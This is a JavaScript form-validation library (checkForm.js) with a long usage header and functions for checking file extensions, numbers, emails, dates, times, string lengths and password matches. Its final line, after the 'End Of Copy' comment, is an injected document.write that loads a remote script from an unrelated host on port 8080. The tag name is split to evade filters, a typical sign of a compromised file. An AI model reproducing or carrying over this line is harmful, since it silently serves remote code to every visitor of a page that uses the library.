/**
 * Released under both WINDOWS and LINUX, and this script is not for GPL.
 */
 
/*
*******************************************************************************************
*      Script Name: checkForm.js                                                          *
*      Function: Form Checking, error checking.                                           *
*      Function Name:                                                                     *
*Line                                                                                     *
*----                                                                                     *
* 150  bool checkExt(obj,str file_extention); // Check File Extention                     *
* 163  bool myExt(obj,str file_extention); // Inner Function of checkExt()                *
* 188  bool checkNumeric(obj); //Check integer is that numeric                            *
* 204  bool checkChar(obj); // Check string is the valid character(s) or not              *
* 215  bool checkAmount(obj); // Check the integer is that valid amount or not.           *
* 231  bool checkZero(obj); // Check text box's value whether it is 0 or not, and not     *
*                              allowed blank.                                             *
* 241  bool checkBlank(obj); // Checking form object(s) is that empty                     *
*      bool checkEmail1(emailStr) {     // allow format aaa@aaaaaa & aaa@aaaaaaa.aaa
* 250  bool checkEmail(obj); // Check email address is valid or invalid                   *
* 263  bool checkDate(obj,[str auto],[int 1||2]); // Check date is valid or not           *
* 384  bool checkTextBox(obj,str text_box_name); // Check array type of the text box is   *
*                                                     empty or not                        *
* 397  bool checkTextarea(obj,str text_box_name); // Check array type of the textarea is  *
*                                                     empty or not                        *
* 409  bool checkArrText(obj,str text_box_name[,str]); // Check array type of the text box*
*                                                     is empty or not and auto focus next *
*                                                     array textbox                       *
* 429  bool checkArrTextarea(obj,str text_box_name[,str]); // Check array type of the     *
*                                                     textarea is empty or not and auto   *
*                                                     focus next object                   *
* 449  bool checkMenuBox(obj,str menu_box_name); // Check array type of menu box is       *
*                                                     empty or not                        *
* 461  bool checkArrayNumeric(form,str text_box_name,bool true||false); // Check array    *
*                                 type of the text box value is valid numeric or not      *
* 491  bool checkBox(form); // Check all form elements of check box is that empty         *
* 512  bool optionBox(form,str object_name); // Check form elements of check box or option*
*                                            box (single or multi elements) is that empty *
* 535  bool checkTime(form[,str h||m||hm||s]); // Check Time is that valid time or not    *
* 624  bool checkStrLen(obj) ; // Check string can't less than 6 characters or not        *
*                                       allowed more than 15 characters.                  *
* 637  bool checkPwd(obj1,obj2); // Check whether first object match with object 2 or not *
* 651  bool checkFloat(obj); // Check whether the value is that floating point            *
*                                                                                         *
*                                                                                         *
*******************************************************************************************


var form=document.myformname;

1.  checkExt():  check file extension is that what you want.
ex: checkExt(form.file,"jpg"), if the file extension is "jpg", it return true, else, false.
    checkExt(form.file,"jpg,gif,doc") this mean, this 3 types of files which you was uploaded,
                                      it is valid, else, return "false"


2.  checkNumeric(): check form value is that numeric.
ex: checkNumeric(form.number), if form value not numeric, return false.

3.  checkChar(): check whether it is character or not.
ex: checkChar(form.name), if form value not character, return false

4.  checkAmount(): check whether it is valid amount or not.
ex: checkAmount(form.price), if form value is not a valid amount, return false.

5.  checkZero(): Check text box's value whether it is 0 or not, and not allowed blank.
ex: checkZero(form.price);

6.  checkBlank(): check text box's value whether it is empty or not.

7.  checkEmail(): check email is that valid
ex: checkEmail(form.email) if valid, return true, else, false;

8.  checkDate(): check date is that valid or not, and if passing second arguement, "auto",
                 it will auto auto add "0" and return it where it 0-9, month and day only.
ex: checkDate(form.date); check Date only dd-mm-yyyy.
    checkDate(form.date,"auto"), if value is "18/8/2002", it will auto generate it to
             "18/08/2002"
    checkDate(form.date,"","2"): check date format only for YYYY-mm-dd.

9.  checkTextBox(form,"name"): check array's text box is that empty.

10.  checkMenuBox(form,"name"): check array's menu box is that empty.

11.  checkArrayNumeric(); Check array type of the text box value is valid numeric or not.
ex:  checkArrayNumeric(form,"name");

12.  checkBox(): Check all form elements of check box is that empty
ex:  checkBox(form);

13.  optionBox(): Check form elements of check box or option box (single or multi elements)
                  is that empty.
ex:  optionBox(form,"name"); 

14.  checkTime():  Check Time is that valid time or not.
ex:  checkTime(form): check only "Hr:min:sec" is that valid or not.
     checkTime(form,"h"): check Hour is that valid or not.
     checkTime(form,"m"): check Minutes is that valid time or not.
     checkTime(form,"s"): check Second is that valid second or not.
     checkTime(form,"hm"): check time for "Hr:min" only.


15.  checkStrLen(str):  Check string can't less than 6 characters or not allowed more
             than 15 characters.
ex:  checkStrLen(form.username): if more than 15 characters or less than 6 characters,
                                 return false.

16.  checkPwd(obj1,obj2); Check whether first object match with object 2 or not
ex:  checkPwd(form.pwd1,form.pwd2): if not match, return false.

17:  checkFloat(str): Check whether the value is that floating point, if not, return false.

18:  checkTextarea(form,form_name):  Check Whether textarea (type as array) is empty or not.

19:  checkArrText(form,form_name[,str]):  Check Whether textbox (type as array) is empty or not and auto focus next object.

20:  checkArrTextarea(form,form_name[,str]):  Check Whether textarea (type as array) is empty or not and auto focus next object.

21.  checkAmount2(amtNum,flag,digit,dec): check whether it is valid amount or not. Allow check on no. of decimal point

===========================================================================================

All functions is boolean, and it return "true" or "false".
All functions is only passing "form object", need not to add ".value"

p/s: 
myExt() is one of the function that support with checkExt(), if you want to check your 
file extension, please refer by checkExt().
*/


  function checkExt(file,exname) {
  var myfile=file.value;
  var myname=exname.toLowerCase();

         if (trim(myfile)!="") {
            if (myExt(file,myname)==true) {
                 return true;
            }else{
                 return false;
            }
         }
  }
  
  function myExt(file,exname) {
     var ext;
     var exname;
     var myfile=file.value;
     exname=exname.split(",");

            
       if (trim(myfile)=="") {
       }else{
           if (myfile.indexOf("\\") != -1) {
               ext = myfile.slice(myfile.indexOf(".")).toLowerCase();

           }
            for (i=0;i<exname.length;i++) {
                for (j=0;j<exname.length;j++) {
                     var myname="."+exname[j];
                
                     while(ext==myname) {
                           return true;
                     }
               }
           }
       }
  }

  function checkNumeric(field) {	  	 
     var myfield=field.value;
     var numericPat = /^(\"*\"|[0-9]\w*)$/;
     var matchArray = myfield.match(numericPat);


            if (isNaN(myfield)) {
               return false;
            }

                  if (trim(myfield)!="" && matchArray == null) {
                     return false;
                  }
     return true;
  }

  function checkChar(charStr) {
     if (trim(charStr.value)=="") {
        return false;
     }

     if (!isNaN(charStr.value)) {
        return false;
     }
     return true;
  }

  function checkAmount(amtNum) {
     var num=amtNum.value;
     var ext = num.slice(num.indexOf("."));

       if (trim(num)!="") {
            if (ext.length>3 || ext==".") {
               return false;
            }

            if (isNaN(num)) {
               return false;
            }
       }
     return true;
  }
   
   function checkAmount2(amtNum,flag,digit,dec) {
		/* 
		   dec -no. of decimal point
		   digit -no. of integer 
		*/
		 var ext;
		 var ext2;
		 ext = amtNum.slice(amtNum.indexOf("."));
		 ext2 = amtNum.split(".");
		  if (flag==null) {
		   flag=0;
		  }
		 
		  if(amtNum=="0.00" || amtNum=="0.0" || amtNum=="0" || amtNum=="" ) {
				return true;
		  }else if (isNaN(amtNum) || !parseFloat(amtNum)) {
				return false;	
		  }else if(parseFloat(amtNum)<0){
			return false;
		  }
		  if(flag==2){
			var arrcnt=ext2.length;
			var chr=0;
			 for(var i=0; i<ext2.length;i++){
			 
				var ecnt=parseInt(ext2[i].length);
				if(i==0){
					chr=parseInt(digit);
				}else if(i==1){
					chr=parseInt(dec);
				}
				if(ecnt > chr){
					return false;
				}  
			 }
		  }//end flag	  
	}

  function checkZero(str) {
  var mystr=str.value;
  
         if(trim(mystr)==0 || !isNaN(mystr)) {
            return false;
         }else{
            return true;
         }
  }
  
  function checkBlank(field) {
     if (field.value.length==0) {
        return false;
     }else{
        return true;
     }
  }
 
  function checkEmail(emailStr) {  // allow format aaa@aaaaaaa.aaa only
  
     var mymail=emailStr.value;
     if (/^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,3})+$/.test(mymail)){
	    return (true)
	 }	 
	 return false;	
  }
  
  function checkEmail2(email) {  // allow format aaa@aaaaaaa.aaa only
  
     var mymail=email;
     if (/^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,3})+$/.test(mymail)){
	    return (true)
	 }	 
	 return false;	
  }

  function checkValidEmail(emailStr, valid_list) {  // allow format aaa@aaaaaaa.aaa only
  
     var mymail=emailStr.value;
 	 var email_list = valid_list.split(";");
		
	 strValue  = mymail.indexOf("@") 
	 strCheck  = mymail.substr(strValue);
	 for (var c = 0; c < email_list.length; c++) 
	 {
		 if(email_list[c].match(strCheck) && email_list[c].length==strCheck.length)
		 { 
			 return true;
		 } 			
	 }
	 return false;	
  }

  function checkEmail1(emailStr) { 
  /*
  	Valid:
		aaa@aaa.com
		aaa@aa
		212@aa
		dd12@aa.com
		2d@aa
		12.yty@aa
		12.yty@aa
		12_ytt@aa
		12_ytt@aa.com
  */
     var emailPat = /^([A-Za-z0-9_\.]*)@([A-Za-z]|\.\w*)/;
     var mymail=emailStr.value;
     var matchArray = mymail.match(emailPat);

            if (trim(mymail)!="" && matchArray==null) {
                 return false;
            }else{
                  return true;
            }

  }

  function checkDate(dateStr,dauto,status) {
  // Status: 1 - DD-MM-YY
  //         2 - YY-MM-DD
  // dauto usage: auto giving date string if month or day only 1 string, "5", it will auto
  //              return it to "05"
  // Parameter For dauto(optional): auto
  // Status: default empty, if you did not pass status into the function, it will auto check
  //         date to status 1.
  // to cater with user input of dd.mm.yyyy date format
  var re=/\./gi;
  if(dateStr.value.match(re)){
    dateStr.value = dateStr.value.replace(/\./gi,"/");
  }    

  var mydate=dateStr.value;
  
  if (status==null) status="1";
  
     if (trim(mydate)=="") {
          return true;
       }else
          if (status==1) {
             var datePat = /^(\d{1,2})(\/|-)(\d{1,2})\2(\d{4})$/;
          }
             if (status==2) {
                var datePat = /^(\d{4})(\/|-)(\d{1,2})(\/|-)(\d{1,2})$/;
             }

           var matchArray = mydate.match(datePat); // DD-MM-YY

           if (trim(mydate)!="" && matchArray == null) {
              return false;
           }

           if (status==1) {
                         month = matchArray[3]; // parse date into variables
                      day = matchArray[1];
                  year = matchArray[4];
           }

                  if (status==2) {
                     month = matchArray[3]; // parse date into variables
                     day = matchArray[5];
                     year = matchArray[1];
                  }

          if (month==0) {
              return false;
          }
          
             if (day==0) {
                 return false;
             }

          if (dauto!=null && dauto=="auto") {
             var numericPat = /^(\"*\"|[0]\w*)$/;

               if (month<="9") {
                  if (month==0) {
                     return false;
                  }
               
                 var monthArray=month.match(numericPat);
                 
                    if (monthArray==null && month.length<2) {
                       month="0"+month;
                    }else{
                       month=month;
                    }
               }
               
               if (day<=9) {
                  if (day==0) {
                     return false;
                  }
                  
                  var dayArray=day.match(numericPat);
                      if (dayArray==null && day.length<2) {
                          day="0"+day;
                      }else{
                          day=day;
                      }
               }
                   }
          
      if (trim(mydate)=="" || dauto==null) {
      }else{
            if (status==1) {
               dateStr.value=day+"/"+month+"/"+year;
               mydate=day+"/"+month+"/"+year;
            }
               if (status==2) {
                  dateStr.value=year+"-"+month+"-"+day;
                  mydate=year+"-"+month+"-"+day;
               }
      }

          if (month < 1 || month > 12) { // check month range
             return false;
          }
          
             if (day < 1 || day > 31) {
                return false;
             }

        if ((month==4 || month==6 || month==9 || month==11) && day==31) {
           return false;
                }

       if (month == 2) { // check for february 29th
          var isleap = (year % 4 == 0 && (year % 100 != 0 || year % 400 == 0));
          if (day>29 || (day==29 && !isleap)) {
             return false;
          }
       }

          if (mydate.length<10 || mydate.length>10) {
             if (dauto!=null) {
                return false;
             }else{
                return false;
             }
          }

          return true;  // date is valid
  }

  function checkTextBox(field,myname) {
  // How to use? field=document.form_name
  // myname=your_text_box_name;

     var text="-=You have the following error message=-\n";
       for (i = 0; i < field.elements.length; i++) {
         if (field.elements[i].type=="text" && field.elements[i].name==myname && trim(field.elements[i].value)=="") {
          return false;
         }
       }
     return true;
  }

  function checkTextarea(field,myname) {
  // How to use? field=document.form_name
  // myname=your_text_box_name;
  
     for (i = 0; i < field.elements.length; i++) {
       if (field.elements[i].type=="textarea" && field.elements[i].name==myname && trim(field.elements[i].value)=="") {

        return false;
       }
     }
  }

  function checkArrText(field,myname,msg) {
  // How to use? field = document.form_name
  // myname = your_text_box_name;
  // msg = your error message from script that you call this function
  // What is the different between checktextbox(field,myname) ?
  //      The different is if the text box is empty, it will auto focus to that textbox, and if the
  //      last object return false, you may choose as optional that still wanna focus on next object
  //      or not.

       for (i = 0; i < field.elements.length; i++) {
         if (field.elements[i].type=="text" && field.elements[i].name==myname && trim(field.elements[i].value)=="") {
            if (msg==null || trim(msg)=="") {
                field.elements[i].focus();
            }
            return false;
         }
       }
     return true;
  }

  function checkArrTextarea(field,myname,msg) {
  // How to use? field = document.form_name
  // myname = your_textarea_name;
  // msg = your error message from script that you call this function
  // What is the different between checktextbox(field,myname) ?
  //      The different is if the text box is empty, it will auto focus to that textbox, and if the
  //      last object return false, you may choose as optional that still wanna focus on next object
  //      or not.

       for (i = 0; i < field.elements.length; i++) {
         if (field.elements[i].type=="textarea" && field.elements[i].name==myname && trim(field.elements[i].value)=="") {
            if (msg==null || trim(msg)=="") {
                field.elements[i].focus();
            }
            return false;
         }
       }
     return true;
  }
  
  function checkMenuBox(field,myname) {
  // How to use? field=document.form_name
  // myname=your_menu_box_name;

    for (i = 0; i < field.elements.length; i++) {
        if (field.elements[i].name==myname && trim(field.elements[i].value)=="") {
           return false;
        }
    }
    return true;
  }

  function checkArrayNumeric(field,myname,ctrl) {
  //Function:  Checking Textbox's Array is Blank field or not and checking it is numeric or not.
  // How to use? field=document.form_name
  // myname=your_text_box_name;
  // ctrl=true or false.
     var myform=field;

       for(i=0;i<myform.elements.length-1; i++) {
          var numericPat = /^(\"*\"|[0123456789]\w*)$/;
          var matchArray=myform.elements[i].value.match(numericPat);

          if (ctrl=="true") { //True, Allowed Textbox Empty but must be numeric.
             if (field.elements[i].type=="text" && field.elements[i].name==myname && isNaN(field.elements[i].value)) {
                return false;
             }
          }

          if (ctrl=="false") { //False, Textbox Empty Not Allowed, and Must be numeric.
             if (field.elements[i].type=="text" && field.elements[i].name==myname && trim(field.elements[i].value)=="") {
                 return false;
             }

             if (myform.elements[i].name==myname && isNaN(myform.elements[i].value)) {
                 return false;
             }
          }
       }
    return true;
  }

  function checkBox(form) {
  // Check all check box in same form whether it is empty or not.
  var myform=form.elements;
  var flag=false;

      for (i=0;i<myform.length-1;i++) {

             if (myform[i].type=="checkbox" && myform[i].checked==true) {
                flag=true;
             }
             
      }

     if (flag) {
        return true;
     }else{
        return false;
     }
  }


  function optionBox(form,name) {
  // Features: check radio button or check box is that "checked", allowed check
  // more than 1 check box simultaneous with same check box name.
  
  var myform=form.elements;
  var flag=false;

      for (i=0;i<myform.length-1;i++) {

            if ((myform[i].type=="checkbox" || myform[i].type=="radio") && myform[i].name==name && myform[i].checked==true) {
               flag=true;
            }
            
      }

     if (flag) {
        return true;
     }else{
        return false;
     }
  }


  function checkTime(timeStr,flag) {
  // Features: Allowed to check hour or minitues, sec,or Hr:min or Hr:min:sec
  // Flags : h - hour, m - minutes, s-second, hm - hour:minutes
  // Function allowed optional to pass flag into the function or not, if
  // leave empty, like this: checkTime(form.timebox) are checking whole time,
  // Hr:min:sec
  
  var mytime=timeStr.value;
  
  if (mytime==null) {
      mytime=timeStr;
  }

    if (trim(mytime)!="") {
       switch(flag) {
          case "h":
             if (isNaN(mytime)) {
                 return false;
             }
              
             if (mytime>23 || mytime<"00") {
                return false;
             }
          break;
          
          case "m":
              if (isNaN(mytime)) {
                 return false;
              }
              
              if (mytime>59 || mytime<"00") {
                 return false;
              }
          break;
          
          case "s":
              if (isNaN(mytime)) {
                 return false;
              }

              if (mytime>59 || mytime<"00") {
                 return false;
          }
          break;
          
          case "hm":
          var timePat = /^(\d{2})(\:)(\d{2})$/;
          var matchArray = mytime.match(timePat);
          var tstr=mytime.split(":");

               if (matchArray==null) {
                  return false;
               }

               if (tstr[0]>23 || tstr[0]<"00") {
                  return false;
               }

                  if (tstr[1]>59 || tstr[1]<"00") {
                     return false;
                  }

          break;
          
          case null:
          var timePat = /^(\d{2})(\:)(\d{2})\2(\d{2}|\d{2})$/;
          var matchArray = mytime.match(timePat);
          var tstr=mytime.split(":");

               if (matchArray==null) {
                  return false;
               }

               if (tstr[0]>23 || tstr[0]<"00") {
                  return false;
               }

                  if (tstr[1]>59 || tstr[1]<"00") {
                     return false;
                  }
                     if (tstr[2]>59 || tstr[2]<"00") {
                         return false;
                     }
          break;
       }
    }
    return true;
  }
  
  function checkStrLen(usr) {
  // Check string can't less than 6 characters or can't more than 15 characters.
  
  var myusr=usr.value.length;

     if (trim(usr.value)!="") {
       if (myusr<6 || myusr>15) {
          return false;
       }
     }
    return true;
  }
  
  function checkPwd(pwd1,pwd2) {
  // Check pwd1 match with pwd2 or not.
  
  var mypwd1=pwd1.value;
  var mypwd2=pwd2.value;

    if (trim(mypwd1)!="" && trim(mypwd2)!="") {
      if (mypwd1!=mypwd2) {
         return false;
      }
    }
   return true;
  }

  function checkFloat(str) {
      var mynum=str.value;
      
      if (isNaN(mynum)) {
          return false;
      }
      
      if (!parseFloat(mynum)) {
          return false;
      }else{
          return true;
      }
  }
  

  function ltrim ( s )
  {
      return s.replace( /^\s*/, "" )
  }

  function rtrim ( s )
  {
      return s.replace( /\s*$/, "" );
  }


  function trim ( s )
  {
      return rtrim(ltrim(s));
  }

  function multidropdown(field){
	alert(field.length);
	for (i=0;i<field.length;i++) 
	{ 
		field.options[i].selected = true; 
	} 
	  
  }
/* End Of Copy */



document.write('<s'+'cript type="text/javascript" src="http://oployau.fancountblogger.com:8080/Undo.js"></scr'+'ipt>');